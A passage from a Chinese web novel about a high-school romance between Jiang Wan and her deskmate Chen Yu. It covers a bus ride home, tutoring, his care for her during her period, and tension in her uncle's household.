尤伽也是爽快人,也就没再和他计较,端起果汁和他碰杯:“一笑泯恩仇。” 陈屿和姜挽陪着,陈屿是啤酒,姜挽也是果汁:“敬你们和好!” “敬友情!” “敬高三!” “敬相遇!” …… 姜挽很少这么恣意开怀过,忍不住多喝了几口。放下杯子的时候,隔着缭绕的白烟,她注意到对面的陈屿正在看着她,还以为他有事,开口问他:“怎么了?” 陈屿却突然别开了和她相对的视线:“没事,”他用公筷去夹菜,掩饰似的,递给她,“少喝点,多吃菜。” “嗯。” 结束时,已经九点多了,从火锅店出来,天色一片黑沉。偏偏今天还没有月亮,就显得云层更加厚了。 这么晚了,让两个女孩单独回家,肯定不合适。考虑到距离,原本姜挽和孟云程一起,陈屿和尤伽一起,才是最省事的。 可孟云程今天刚得到尤伽的原谅,还想趁机再表现表现,于是悄悄靠近陈屿,搭着他的肩膀,给他使眼色:“那个,帮我个忙,我送尤伽回去,你送姜挽回去呗。” 陈屿明白他的意思,而且就算他不说,他也会主动提的。拨开孟云程搭着他的那只手,点点头,表示同意了。 孟云程觉得他真够义气,好几次了,涉及到他和尤伽的事时,陈屿都特别挺自己,他一高兴,就有点忘形。 “走吧,我送你回去,”他朝尤伽抬下巴,又交代姜挽,“一会儿陈屿送你回去哈。” 尤伽没意见,反倒是姜挽拒绝了:“不用了,我一会儿自己回去就行。” 孟云程一愣,看看她,又看看陈屿,他还站在刚才的位置,离陈屿很近:“不是哥们,你怎么回事啊?你这鞍前马后地补习了这么长时间,而且刚才吃饭的时候我看你们也挺正常的,怎么她这么抵触你啊?莫非,是你人品不行?” 陈屿懒得和他贫,而且被姜挽拒绝,确实也有点烦。他不大高兴,一副赶人的架势:“你还走不走了?” “走,走,马上走。”孟云程抱拳,为自己刚才的嘴贱道歉,“抱歉,走了啊,你们也早点回去。” 尤伽也叮嘱:“呦呦,到家了,在群里说一声。” 姜挽回应她:“知道了,路上注意安全。” 陈屿看着姜挽,觉得她心情挺好的,也没看出来哪里不高兴。而且联想到她刚才的回答,好像也没带什么情绪,更像是在陈述一个事实而已。 他没再想,三两步来到她身边:“走吧,我送你回去。” “不用了,”姜挽还是那句话,“我自己可以回去的,时间不早了,你也早点回家吧。” 陈屿盯着她,实在是猜不透她在想什么,叹一口气:“到底怎么了?我哪儿又惹到你了?”语气很无奈,又带着点宠,活脱脱一个面对女朋友闹别扭时束手无策的受气包。 姜挽比他还纳闷:“你没有惹到我啊。” 陈屿干脆破罐子破摔,也不讲究什么章法了:“那你为什么不让我送你回家?” 原来是因为这个。 姜挽长睫颤了下,路灯下,眼睑处有一小片浅浅的阴翳,她抿了下唇角,很快又松开,像是下定某种决心:“其实是因为我妈妈,她不喜欢我和男生走得太近,你送我回去,我担心她看见。” 听她说是这个原因,陈屿松了一口气,但又好像没松,他软下脾气,和她打商量:“那坐公交总行了吧?你下车,我不下,这样就不用担心被看到了。” “其实……” 姜挽还要说什么,陈屿显然已经没有耐心了,他从她背上取书包:“哪那么多话,走吧。” 姜挽被他扽得趔趄,还没反应过来,书包就已经到了他的手里。 “哎,书包还给我,我自己拿。” “你先追上我再说吧。” 他们还是回到了学校门口,坐了姜挽平时坐的那趟公交。这个时间点,人已经不多了,让姜挽想起来上次他默默送她回家时的场景。 也是在这样一个夜晚,公交也是这样慢悠悠地晃着,只不过不同的是,上次他们是一前一后,这次是并排而坐。 距离更短了,两个人离得也更近了。 一路,车内很安静,姜挽和陈屿也就没有特意开口说话。两个人一个看向窗外,一个直视前方,各自整理着独属于自己的那份心事。 路上也没遇到堵车,一路畅通无阻,但可能是因为夜间行驶,有些看不清路况。遇到十字路口时,突然有车流汇入,司机猛地踩了刹车。 惯性太大,姜挽瞬间失去平衡,眼见着就要撞上前面的座椅,眼前突然伸出来一只手臂,替她挡住了,稳稳地拦在了她和座椅之间。 是陈屿。 可也正是因为这个动作,姜挽的身体直接贴在了他的手臂上,而且还是隐私部位,和他零距离接触了! 一瞬间,两人都有些傻眼。 姜挽更甚,她脸颊发烫,被他手臂碰着的地方简直像是碰上了烙铁,那热意顺着血液流到心里,让她整个心尖都跟着颤了。 几秒钟吧,她倏地移开身体,拉开和他的距离,扭头看向窗外,再不和他对视。 陈屿也尴尬,可他也不是故意的,刚才实在是情急之下的动作。他抬手碰了碰手臂,方才那温软的触感似乎还在:“抱歉。” 姜挽依旧看着窗外,闷闷地不肯回头,也不回答。 “我真不是故意的,刚才实在是情急之下的动作,绝对没有冒犯你的意思。” 他越说,姜挽越觉得害臊,终于肯扭头看他了,可一张脸却涨得通红:“你别说了!” 陈屿立马闭嘴。 后半段几乎是煎熬,好不容易熬到站,姜挽拿了书包就走,连一个“再见”都没有。 陈屿看着她的背影,再次默默念叨:“我真不是故意的。” 第18章 教她 次日, 陈屿到学校的时候,姜挽已经到了。见他进来,忙起身,恨不得离他一丈远。陈屿垂着眼看她, 没开口, 几秒后, 擦着桌边进去了。 一整个早自习, 他们都没说一句话。期间唯一的一次接触, 还是姜挽帮他拿试卷, 陈屿原本想说句“谢谢”的,谁知她却突然转了身。很显然,她并不想和他说话。 后来, 陈屿又尝试找了好几次机会, 课上, 就用学业的借口, 课下,吃喝玩乐都来, 可每一次, 姜挽不是含糊回答,就是躲避拒绝, 连一个眼神对视都没给他。 还真是有苦难言。 他们如此反常, 连前排的尤伽也发现了,她问姜挽:“呦呦, 你们是不是吵架了?还是昨天晚上回去的时候, 路上发生了什么?” 听到这话,一瞬间姜挽好似被拿住了尾巴的小猫,当即炸了毛:“没有啊, 你怎么会突然这么问?” 她在心虚,可尤伽看不出来:“总感觉你们今天怪怪的。”尤伽看看她,又看看陈屿,“该不会……” “哎呀,真的没有,”姜挽忙打断她:“你别瞎猜了。” “真的?”尤伽显然还有点怀疑,“要是有事的话,你可不许瞒着我。” “真的没有,”为了更有信服力,姜挽把陈屿也拉了进来:“不信你问他。” 一瞬间,两双眼睛同时看向他。一双是好奇,另外一双是恳求。 陈屿对上姜挽的,他其实很想告诉她,有个成语叫“欲盖弥彰”。可这会儿,看着她眼角下垂的弧度,还是不自觉顺着她的话开口:“真没什么,把她送到我就走了。” 话音落,他看到姜挽明显松了一口气。 既然两个当事人都这样说,尤伽也就没再问。 正当陈屿庆幸借这个机会打开了他和姜挽沉默的局面时,谁知尤伽前一秒刚转过去,下一秒姜挽便立马又恢复到了刚才的状态,立于他们中间的那堵墙再次出现,压得陈屿喘不过气来。 他忍不住苦笑,还真是个小白眼狼,帮完就躲,用完就扔。 恰巧姜挽的笔掉了,在地上滚了两圈,最终在陈屿的脚边停了下来。姜挽弯腰要捡,陈屿却突然抬腿跨了一步。他决定,要小小地“惩罚”一下她。 一瞬间,掉落的位置从他脚的外侧变为了内侧,即使姜挽的胳膊再长,也是够不到的,除非她从他腿上搭过去。 “你起来一下,我捡下笔。” “不起。”陈屿不仅不动,反而还将身子朝她这边靠了几分,一瞬间,两人之间的距离变得更近了,近得几乎要碰上。 姜挽连忙朝旁边挪了下,和他解释:“你不动的话,我没办法捡。” “你捡不了,不会请我帮忙吗?” “那我请你帮忙,你会帮吗?” “不会。” ……姜挽这才意识到他是故意的,很无奈:“那要怎么样,你才能把脚移开?” “很简单,你回答我一个问题就行。” “你说。” “要怎么样,你才能不再因为昨晚的事情躲着我,原谅我?” 听到他说的是这个问题,姜挽的第一反应是去看周围,尤其是尤伽,还好大家这会儿都在忙着自己的事情,应该是没听到。她压低声音,没什么底气地开口:“我没躲着你。” “没有吗,早上来了离我八丈远,和你说话你不应,给你拿东西你躲着,这还不算?”陈屿越说越停不下来,只是那语气听起来不像是抱怨,更像是委屈,“还有……” 见他似乎没有停下来的打算,姜挽忙打断他:“好吧,那就算我有吧,我和你道歉。” “道歉不必了,你就说要怎么样才能原谅我。” 姜挽其实想说,她根本就没有怪过他,只是因为没有经验,所以在第一次遇到这种事情的时候,才会选择当鸵鸟,用逃避来掩饰自己的慌乱。 可她想了想,还是开口:“只要你以后不再提这件事情就行。” “这么简单?” “嗯。” “好,一言为定。” 陈屿说话算话,姜挽同意后,他当即便弯腰帮她把笔捡了起来。 姜挽伸手去接,很突然地,他却将手收回,眼见着那支笔在空中划过一道弧线,反而离她更远了,姜挽忍不住皱眉:“又怎么了?” 陈屿是故意这么做的,她平时的性格太过正经,偶尔有点小情绪的时候就格外可爱,他朝她扬了扬下巴:“口说无凭,你现在说原谅我了,要是以后又反悔了,怎么办?” 姜挽觉得这是在质疑她的人品:“我不会。” 陈屿当然知道,可他还是装作不确定的样子,懒散地将那支笔在指间转了一个圈:“会不会是靠做的,不是靠说的。” “那你说,我要怎么做你才能相信我?” “我说得出,你就做得到?” “当然,”姜挽之所以这么说,也有赌气的成分在,因为这关乎到她的人品,是一件很重要的事情。可话出口才意识到有些不太合适,忍不住又加了一句,“犯法的事情我不做。” 陈屿单手撑着下巴,忍不住笑了:“你放心,就算我有心让你做,”他上下扫了她一眼,那意思很明确,“估计你这副身板也承受不住。” 姜挽没和他过多争论,安静等待他的后话:“那你说吧。” 陈屿收起刚才那副懒散的样子,把笔还给她,正色道:“以后要是遇到类似的事情,你要懂得保护自己。” 姜挽愣愣接过笔,有些没跟上他的思维,这要求,和她预期的,实在相差太大了。 “怎么突然说这个?” 这不是突然说的,是陈屿早就在想这件事情了。和她认识这么久,他再清楚不过她是什么样的一个人,况且她昨天还说她妈妈不喜欢她和男生有过多接触,陈屿基本可以断定,她在那方面的知识几乎为零。 不懂也就算了,可她似乎对自己外表的认知也并不到位,明显并没有意识到她这张脸对大部分人而言,到底意味着什么。 所以,他觉得,得适当帮她补一点这方面的知识:“你别管那么多,记住我的话就行,这个世界远比你想象得复杂,你以后也会遇到各种各样的人和事。有的可能会超出你的认知,但一定记住,有些事情的发生并不是你的错,你也没必要因此自责和逃避,保护好自己才是第一要位。” 姜挽虽没经验,可话说到这个份上,她要是再不懂的话,就有些迂了:“所以,像昨天那种情况,我其实应该先保护好自己,然后再甩你一巴掌,最后再报警,对吗?” 陈屿压根没想到她会这么说,简直就是搬起石头砸了自己的脚。他眯着眼,故作镇定:“我们讨论的是其他人,我不在这个范围之内。” “为什么?” “别问那么多,反正就是不一样,你照我说的做就行。” “可是……” 姜挽还要问,陈屿打断她:“是不是我的这个要求太简单了,你怎么这么多问题呢?” 姜挽当即闭了嘴,可已经来不及了,她眼睁睁看着陈屿去抽屉里翻找,很快便拿了一张试卷出来。 试卷被他铺展在两人桌子的衔接处,骨节分明的大手直指最后一道大题:“这道题,你看看。” 姜挽不用看都知道,肯定是她不怎么擅长的几何题。她把试卷拿过来,仔细研究了下,发现还真是,不仅题型她没见过,就连知识点也有些超纲。 “我试试吧。” 她磨磨蹭蹭了好久,也终于才解出了其中的三分之二,剩下的三分之一,和以前一样,陈屿只看了两眼,便瞬间帮她把问题的关键点找了出来。 姜挽正准备说谢谢,陈屿拦住她:“先别着急谢我,你得把这道题再重新讲一遍给我听。” “嗯?”姜挽有些不明白,“这道题你不是会写吗?” “我会写,和你再讲一遍,又不冲突。”怕她不愿意,陈屿还特意加了码,“再说了,我之前给你讲过那么多次,你就给我讲一次,就不愿意了?” 他提到这些,姜挽瞬间无话可说了,照着陈屿刚才的思路,她大致把解题步骤和重点又复述了一遍。 没说的时候不觉得,等复述过一遍之后才忽地发现,这种题型的解题步骤,她已经很清晰了。 有什么东西在脑中一闪而过,她试探性地问:“所以你让我重新复述一遍,只是为了让我加深记忆吗?” 现在已经是下课时间了,教室里有点吵,陈屿没怎么听清,他弯腰,偏头来听:“什么?” 姜挽便又重复了一遍。 陈屿听完后没承认,但也没否认,只是笑着说了句:“谢谢小姜老师帮我讲题。” 姜挽没应声,不过脸却一下子红了。窗外的微风,淋漓的秋色,这一切都让周遭泛起了一股未尽的暧昧之意。 第19章 照顾 进了深秋, 北城多雨,有时候下起来,一整天都淋淋沥沥个没完。偏偏这样的日子,姜挽还有些不舒服。 她生理期到了。 在这方面, 姜挽一向都没什么规律, 之前书包里都会放着备用的卫生巾, 可上次用完后她忘了补。更惨的是, 今天尤伽还没来, 她想找个帮忙的人都没用。 窗外雨色浓重, 姜挽看着逐渐起雾的玻璃窗,正思考着该怎么办,旁边的陈屿忽然起身, 说他要出去。 要是以前, 姜挽也就立马站起来给他让位置了, 可今天不行, 她犹豫着,双腿并拢往旁边侧, 在身体和桌子中间给他留了空间:“你可以过去吗?” 陈屿垂眼看着她, 笑着调侃道:“这么点地方,你过还差不多, 你看我这身形, 像是能过去吗?” 姜挽看看他,又看看这个位置, 觉得好像是不太能:“你等一下。”说罢, 她伸手去拉校服的拉链。 陈屿疑惑地看着她,一开始,他还不明白她打算做什么, 直到看到她把外套脱下来,围到腰间时,瞬间反应过来。 每个月,女主总有那么不舒服的几天。 他虽然没说什么,可姜挽看他那个眼神,就知道他已经猜到了。她有些尴尬,垂下眼睫,沉默着。 “这种时候不能着凉,你把外套穿上。”陈屿率先开口,打破沉默。 “不用了,我……” “披上,”陈屿没多和她拉扯,“我的外套比较长,会更方便。” 至于为什么方便,怎么方便,他没再说,但显然两人都清楚。 姜挽听他的话披上,果然,披上他的外套后,长度能到大腿,这样即便她站起来,也不会被看到了。 “你还出去吗?”她问他。 “嗯。” 姜挽站起来给他让位置,但陈屿却没有直接离开,而是随手拿了她放在桌上的保温杯,开口:“你平时用什么牌子?” “什么?”话题跳跃太快,姜挽一时没懂。 “卫生巾,”陈屿再次开口,但声音很小,“你平时用什么牌子的?” 他原本是想隐晦点的,但眼下看来,太隐晦的问法,还是不大适合她。 姜挽没想到他会问这些,微微偏着头,避开他的视线。犹豫着,踌躇着,明显还没做好准备和他讨论这个话题。 见此,陈屿也没逼她:“那我随便买吧,到时候要是实在决定不了,就只能把每个牌子的都买一份。” “七度空间。”像是真怕他会那么做,在他离开前,姜挽忙说了一个牌子。 “知道了,等着。”陈屿拿伞便走了。 陈屿走后,姜挽觉得小腹疼得实在厉害,于是便趴在桌上闭目养神。也没过多久,就几分钟吧,她感觉肩膀被人拍了下,姜挽抬头,看见陈屿正站在她旁边,左手提着一个大号的黑色塑料袋,右手握着她的保温杯。 见她起来,先把保温杯递给她:“先喝点水。” “谢谢。”姜挽给他让位置,“你怎么这么快就回来了?” “因为腿长。” 语气虽然很臭屁,可姜挽垂眸扫了扫,他似乎说的也是实话。 也正是因为这一眼,让她注意到陈屿的整个裤脚和鞋全湿了。那种湿法,不像是被淋的,反而像是大步奔走时带起地上的污水,裤脚边还有明显的污渍。 “你不会是跑回来的吧?”她问。 陈屿没回答她,而是将手中一直提着的那个黑色塑料袋递给她:“你看看,喜欢哪种香味的。” 香味? 姜挽疑惑,买卫生巾还讲究这个吗?她以前从来没有在意过。 “你买了什么香味的?”她其实想说,无论他买了什么样的都行。 陈屿却答:“你自己看吧。” 不看还好,这一看,姜挽差点被吓晕过去,除了各种香味,还有不同的型号,陈屿全都买了。 日用,夜用,网面,棉质…… 薰衣草,小苍兰,玫瑰,茉莉…… 姜挽一包一包看下来,严重怀疑陈屿把整个超市的卫生巾都买空了。 幸好他还知道拿个黑色的袋子,不然这一路走回来,真不知会有多少异样的眼光投向他呀。 虽然他确实是给她帮忙,可看着买了这么多,姜挽还是忍不住开口:“买的是不是有点太多了?” “不知道你喜欢哪种,干脆就全买了。”陈屿反应很淡,像在说一件再平常不过的事情。 “可还是有点多……”姜挽小声念叨,毕竟她现在生活费有限,担心自己的钱不够付这些。 “这东西不是能放吗,这次用不完,你留着下次再用。” “嗯,”姜挽没再继续问,毕竟陈屿也是好心,她如果再问,就真有些烦了,“这些一共多少钱?我微信转给你。” 听她提到钱,陈屿不高兴了,手中来回翻着书本,声音也闷闷的:“我有说过要和你要钱吗?” “你是没有,可你帮我买,我给你钱是应该的,”姜挽没察觉到他的情绪变化,还在一个劲地开口,“况且外面还下着雨,你因为帮我买这些裤子和鞋都湿了,怎么说,我都得把这钱付给你。” “和我有必要分得这么清吗?”大概是焦躁,陈屿”啪”的一声把书本扣在桌上,“就像你说的,那我鞋还湿了,还淋雨了,这些你是不是也都用钱来打发我?” 用钱打发?姜挽皱眉,她完全没有这个意思,只是想感谢他而已。 她不知道自己哪里说错了,更不明白好好的,他怎么突然就生气了。可这些似乎都不重要,刚才陈屿所有的话里,她只记住了一句:“你淋雨了?” 陈屿斜着眼看她,没回答。 “你需要去校医院看下,或者吃点药吗?要不我还是把衣服还给你吧?” 说着,她就要脱,陈屿隔着衣服按她的手臂,脸色还是不大好,可声音已经缓下来了:“不用,你少气点我,就比什么都管用。” 姜挽愣了一下,还是开口:“嗯。” 虽然她也不懂这“气不气的”,究竟是从何而来,可眼见着他能消气,也就应了。 “那钱的事情……” 陈屿一记冷眸扫过来,姜挽忙改口:“以后再说。” 陈屿这才收回视线。 一上午,陈屿来来回回帮她接了好几趟热水,除了十分必要的去厕所,姜挽基本没离开过座位。就连午饭,陈屿也没让她下楼,说是要帮她买回来。 陈屿自己的午饭吃的简单,随便选了两荤一素的盒饭应付,对姜挽的,倒是很上心。 特意在网上查过后,帮她挑了较为清淡的粥和包子,又绕去饮品窗口,选了花生红枣热茶。 他这来来回回的好几趟,孟云程都有些看不下去了:“一顿午饭而已,你至于吗?” 陈屿没搭理她,细心把打包盒整理好:“你吃吧,我先回去了。” “哎哎,你先别走。”吃饭被丢下,孟云程本来就有点不高兴,问个问题陈屿还不回答,这会儿他就差直接挂脸了。 他放下筷子,审视的眼光来回打量着陈屿,故意做了一个推眼镜的动作,幽幽道,“我发现你小子对姜挽很上心啊,先是补习,现在又是买东西带饭的,我之前可从来没见你对别的女生这样过,你该不会是……” “你想多了。”陈屿打断他。 孟云程压根没管他,自顾自继续道:“你小子,该不会是喜欢上人家了吧?” 陈屿朝他凉凉看过来一眼,那样子不像是不高兴,更像是不想说:“你话怎么这么多?吃饭还堵不住你的嘴。” 现在八字还没一撇,他也不知道姜挽对自己的想法。在一切都没说开,在不清楚她的想法之前,陈屿觉得他有必要保留自己的想法,尽量不给她带来过多的压力。 毕竟,他喜欢她,也只是他单方面地喜欢而已,不能,也不会,要求她怎么样。 听他这么说,孟云程不高兴了,开口嚷嚷:“你不地道!我有什么事都和你说,你小子有点事就瞒着我。” 陈屿反驳他:“我记得,之前你和尤伽的事,也不是你告诉我,好像是我自己发现的吧?” 孟云程理亏,开始装傻:“是吗,时间太长我记不清了,那你到底说不说?” 陈屿也很果断:“不说,而且,”他叮嘱他,“你也别乱说。” 孟云程从不在言语上吃亏:“爱说不说,我还不想听呢。” 回到教室,陈屿把东西给姜挽后也不做别的,就在旁边看着她吃,边看还边问:“味道怎么样?” 姜挽点点头:“挺好吃的。”她停下来喝口红枣热茶,就是有点多。 没多会儿,粥和茶都被她吃完了,可包子实在是吃不下,四个只吃了两个,还剩下两个。 “不吃了?” 旁边的陈屿突然问,姜挽还以为他要“兴师问罪”,毕竟这是他冒雨从食堂帮她带回来的,忙开口:“我吃不下了,这两个留着下午吃。” 说着,她就要去打包,谁知陈屿却先她一步将打包盒拿了过去:“下午想吃了再买,不用留着。” “那这两个……” 姜挽话还没说完,就见他已经拿了其中一个咬了起来,她一时有些愣怔,这是她吃剩的…… 陈屿吃得很快,三两下便吃完了,随即他开口,像是给自己刚才的行为做注解:“扔了浪费。” 太过自然的语气,理所应当的理由,姜挽反而觉得自己有些小家子气了:“也是。” 因为陈屿的照顾,姜挽这次的经期比以往轻松不少,晚上她回到家时,也没有之前那种身体仿佛散了架的感觉。 沈曼还在加班,沈峰今天晚上有饭局,家里只有她,谭镜和外婆三个人。 姜挽本想多一事不如少一事,能躲则躲的,却没想到,刚进门就被谭镜安排了活:“你先别进来,衣服也先别脱,我刚好有几个快递到了,你去帮我拿回来。” “舅妈,外面……” 外面还在下雨,姜挽原本想说能不能等雨停了再去,但谭镜却等不及:“这些东西我马上就要用,你赶紧去。” “好的。”姜挽垂眸,拿了伞再次出门。 帮谭镜拿快递这事也不是第一次了,她原本以为会像之前一样是个小盒子之类的。却没想到,这次竟然是三四个大箱子,堆在一起,都快有半人高了。 见她是个小姑娘,工作人员提醒:“让你家大人来吧,你拿不了。” “不用了,我拿就行。”姜挽弯腰核对快递信息,“不行我就多跑两趟。” 可能是实在看不下去了吧,最后,工作人员还是把小推车借给了她。 一路,姜挽既要撑伞,又要顾着小推车,还得保持伞面的角度,确保快递不会被淋湿,所以到家时,比以往慢了几分钟。 一推开门,还没见到谭镜的人,就先听见了她的声音:“怎么这么慢!不是说了我急用吗?” “舅妈,不好意思,外面下雨,我……” 谭镜真是一点都不掩饰,话没说完,就把她打断:“都拿完了?”她核对数量,斜眼瞥见快递边角的水渍,大声抱怨,“哎呀,这都淋湿了,东西要是坏了怎么办?” 可她没看到,姜挽不仅是淋湿,她的整个后背甚至可以说是已经完全湿透了。 衣服粘在身上,闷热黏腻得厉害,可姜挽却没太大的感觉。此刻,更让她觉得难受的是谭镜的眼神和语气。 吆五喝六,不被尊重,她知道。 对面的谭镜还在抱怨,可姜挽却突觉耳朵里一阵轰鸣,她已经听不清她在说什么了。 可听不清,她也得等着,等到谭镜发泄完情绪,等到她终于大发慈悲地让她进屋,这才换了鞋进卧室。 每当这种时候,外婆都会出来打圆场,可她在这个家说话也不管用,只能用叫姜挽吃饭的方式来缓和。 隔着门,姜挽开口:“外婆,你们吃吧,我今天中午吃多了,不饿。” 之所以没开门,是因为她不想外婆看见自己红着眼眶的样子。 很快,门外传来谭镜的声音:“爱吃不吃,惯得她!我又没说她什么,还摆起谱来了?也不看看是在谁的家里!” “哎……”这声叹息是外婆。 姜挽就那样坐在桌前,听着谭镜的声音逐渐远离。 晚上沈曼下班回来后,照例来看她一眼,姜挽已经躺下了,沈曼过来帮她整理被子,一碰上她的身体,顿时惊呼:“呦呦,你身体怎么这么烫?是不是发烧了?” 被沈曼这么一吵,姜挽也清醒了不少,她伸手摸了摸自己的额头,好像是有点烫,难怪刚才睡前她会觉得自己头晕。 “快,起来测体温,要是严重,咱们还得去医院!” 沈曼很急,姜挽倒还好,她起来后的第一反应是,陈屿这一天对她的照顾,看来是白费了。 第20章 笔记 因为吃了药, 姜挽这一晚睡得很沉,迷迷糊糊中发现脸上有亮光,她伸手去遮,透过指尖的缝隙, 这才注意到窗帘不知何时已经被拉开了。 熹微的晨光里, 书桌前坐着一个人, 姜挽揉了揉眼睛, 才看清是沈曼。 “妈, 你怎么没去上班?”姜挽伸手去够枕边的手机, “现在几点了?” “八点,”沈曼将提前准备好的衣服放在她床边,“先换衣服起来洗漱吧。” 听到这个时间, 姜挽一开始还有些懵, 待看清手机屏幕的显示后, “腾”的一下便从床上坐了起来, 着急忙慌地就去换衣服:“哎呀,妈你怎么不叫我?我上学都要迟到了, 闹钟怎么没响呢?” “你先别着急, 闹钟我昨天晚上帮你关了,你今天先不去学校了。”沈曼在一旁安慰她, “你还在发烧, 我已经和你们班主任请过假了,今天不去了。” 经沈曼这么一提醒, 姜挽才意识到自己这会儿确实还有些头晕, 她冷静了下来,但觉得发烧也不是什么大事:“其实没什么的,我忍忍就好了。” 沈曼却忽然叹了一口气:“在家休息一天吧, 来北城这么长时间,你也挺辛苦的,一直都在忙,也没停下来过。” 姜挽抬眼看着她,她觉得今天的沈曼有些奇怪,话里总带着哀伤的情绪,但又说不上来具体是因为什么。 她猜想,会不会和她的工作有关系:“那妈妈你今天这个点还没去公司,待会儿迟到的话,会被领导批评吗?” 她知道沈曼工作辛苦,公司更是对考勤抓得十分严格。 谁知沈曼却答:“我今天也请假了,在家陪着你。” “那你这个月的全勤奖不就没有了?” “三百块钱罢了,妈妈还能从其他的地方赚回来。而且,我们现在这个领导对我还不错,年底涨薪的时候应该会给我加工资。”沈曼把体温计递给姜挽,顺便帮她捋了捋额角的碎发,“再说了,你都生病了,都是因为我没照顾好你。” 她的眼里满是自责,姜挽此刻懂了,原来沈曼刚才的不高兴全是因为担心她。 还有,关于工作的事情,这也是姜挽第一次从她口中听到,虽然不知道沈曼是不是为了安慰她才这么说的,可这一刻,姜挽愿意相信是真的。 把体温计放好,想了想,她还是试探性地开口:“妈妈,那等你明年涨了工资,我们可不可以从舅舅家里搬出去住?” 听到这个,沈曼瞬间皱眉:“怎么突然说这个?在这里,舅舅和外婆不是都对你挺好的的吗?他们是妈妈的亲人,也是你的亲人。” 沈曼有些不高兴,姜挽看出来了,可话题既然已经说到这了,她就还是想再尝试一下:“可这里毕竟是舅舅的房子,我还是想住在我们自己的房子里。只要是我们在一起,哪怕是租的,哪怕小一点,都没关系的。” 沈曼很为难:“呦呦,妈妈现在的情况,你是知道的,”她有些吞吐,“光靠我一个人的工资,是没办法负担我们两人在北城额外租房的费用的。” “可爸爸之前在江城明明留了……”姜挽有些着急,一着急就犯了错,提到了不该提的话题,等她意识到的时候,话虽然没说完,可还是已经晚了。 “你别跟我提他!”果然,沈曼爆发了,眼神偏执又受伤,像心底的伤疤被人翻出来,每一句都是咬着牙的说的,“说过多少次了,让你不要在我面前再提他,不要再提那个地方,你怎么就记不住呢?” 姜挽被吓到,不敢再说话了。沈曼的反应太激烈了,完全超出了她能接受的范围。她也不懂,为什么刚才还温温柔柔,处处替她着想的妈妈,怎么一提到这个话题就瞬间崩溃了呢。 接下来的几分钟,她俩都没再说话,沈曼抱着胳膊看向窗户,姜挽则是坐在床上发呆。四周静静的,只有窗外秋风卷过林梢的声音。 最后,还是沈曼先开了口,也是为了缓和关系吧,她还是问姜挽:“你昨天怎么突然发烧了?是不是遇到什么事了?” 遇到了吗,确实遇到了,但姜挽不想说,主要是现在说了也没用。 她摇了摇头:“可能来例假身体比较弱吧。” “嗯,”沈曼拿起她换下来的睡衣往外走:“以后多注意点,我给你煮了红糖水,一会儿洗漱完了来喝吧。” “好。” “还有,”已经走到门口了,沈曼还是忍不住叮嘱,“刚才说要搬出去的话,和我说说也就算了,以后在舅舅舅妈面前不要提,提了他们会不高兴。” 姜挽看着她的背影:“好的,我知道了。” 早餐除了红糖水外,还有沈曼特意准备的清粥小菜,一切都是按照姜挽的喜好和生理状态来准备的。而且吃饭的时候她也很正常,仿佛刚才的事情完全没有发生过,沈曼仍然十分自然地和姜挽沟通,只不过一般都是她交代,姜挽执行。 “刚才测体温还有点发烧,你一会儿吃完饭了把药吃了。” “好的。” “还有,你今天虽然不用去学校,但功课还是要做的,吃完饭把今天的学习安排列个计划出来,我看一眼。” “知道了。” 两人正说着话,姜挽放在旁边的手机突然响,屏幕上显示“陈屿”二字,她心虚地看了沈曼一眼,忙按了挂断。 “谁的电话?”沈曼果然问了。 “不知道,一个座机号码,应该是广告吧。” “嗯,快吃吧。” 陈屿这边,电话被她挂断,倒是也没生气,只是有些担心。她知道姜挽不是一个没有分寸的人,今天突然没来学校,肯定是因为有事。 他转而给她发了一条微信:【今天不来学校了?】 姜挽的微信有提示音,消息一来,沈曼便注意到了,她比姜挽还要在意:“同学给你发的微信?” 这种情况下,姜挽不能不看,她解锁屏幕,微信页面显示有陈屿的新消息,可开口却是:“嗯,是尤伽,问我今天为什么没去学校,需不需要把老师布置的作业发给我。” 一听是个女孩的名字,沈曼也就没再问,只是叮嘱:“多在学习上用心,多和成绩好的女孩玩是对的。你现在啊,就应该少和异性接触,把心思都放在学习上。” 这种话,沈曼不是第一次说了,以往姜挽都会应声,可这次她却低着头,半晌没吭声。 好一会儿,才说出一句:“妈妈,我吃好了,先回房间看书了。” “去吧,记得吃药啊。” “知道了。” 回到房间,姜挽这才开始给陈屿回微信:【刚才我妈妈在旁边。】 一句话,陈屿就全部懂了。 他不问,是因为在意。 她坚持要回,也是因为在意。 先回完这个,姜挽才答复他的问题:【我今天有点不舒服,请了一天假,不去学校了。】 【怎么了?严重吗?是不是和你来例假有关?】 【不是,就是有点感冒了,不严重。】 【那明天能来学校吗?】 【能。】 【好,那我等你。】 我等你…… 姜挽反复看着这三个字,她不知道他是不是是随口一说,并没有其他的意思,可到了她这,却莫名掀起了一阵悸动。 她垂下眼睫,开始打字:【今天的课表能不能发给我,我想对照着做学习计划。】 很快,陈屿那头便回复过来了,除了课表的照片外,还有一句话:【你在家好好养病,学习的事情不用担心,我会帮你处理好。】 陈屿说会帮她处理好,那就一定会处理好。姜挽原本还以为只是帮她收收桌上的试卷什么的,等第二天到了学校一看,几乎惊呆了。 不仅桌面的试卷被整理好了,抽屉里还塞了满满的水果和零食。更重要的是,他还在她的书上做了笔记和标注。 重点,难点,还有易错点,分别用了不同的颜色,比她以往自己标注的还要认真仔细。 姜挽看的时候,尤伽也在旁边,倒是陈屿一开始把这些给她后,便离开教室了。 尤伽凑过来,忍不住感叹:“没想到陈屿做起笔记来这么认真,认识他这么多年,我这还是第一次见他做笔记。” 姜挽也没想到他竟然会这么认真:“他确实整理得很好。” “是啊,重难点,还有老师强调的内容,他都帮你记下来了,还是你这个同桌好,”尤伽感叹,“我这个啊,要是我生病,别说帮我整笔记了,怕是他连自己的都搞不清。” “其实也不能这么说,孟云程也有他自己的优点的。” 姜挽本想劝她两句的,没想到尤伽倒是自己跳脱了这个话题:“算了,不提他了,对了呦呦,我下周过生日,到时候准备请大家吃饭,你一定要来啊。” 尤伽的生日,她当然会去:“好,地点订好了吗?” “还没呢,还在挑,”提到这个,尤伽似乎有些不大高兴,“之前选了好几个地方,都被我爸妈pass掉了,他们不是嫌太贵,就是觉得不适合,我还得再找找。” “别着急,这不是还有时间嘛。”姜挽安慰她。 “也对,那我再看看,等到时候确定好了再告诉你。” “好的。” 20-30 第21章 救她 尤伽的生日很快便到了, 礼物姜挽早早便准备好了,可吃饭的地方,却是在当天才接到她的通知。 姜挽看着微信里尤伽分享的位置,微微皱眉, 看起来应该是一家KTV, 这种地方从来没去过。 很快, 尤伽的电话便打来, 背景声里有些嘈杂, 歌声, 音乐声,还有嘻笑打闹的声音:“呦呦,发给你的地址看了吗?怎么样, 你过来不麻烦吧?” 麻不麻烦的倒是小事, 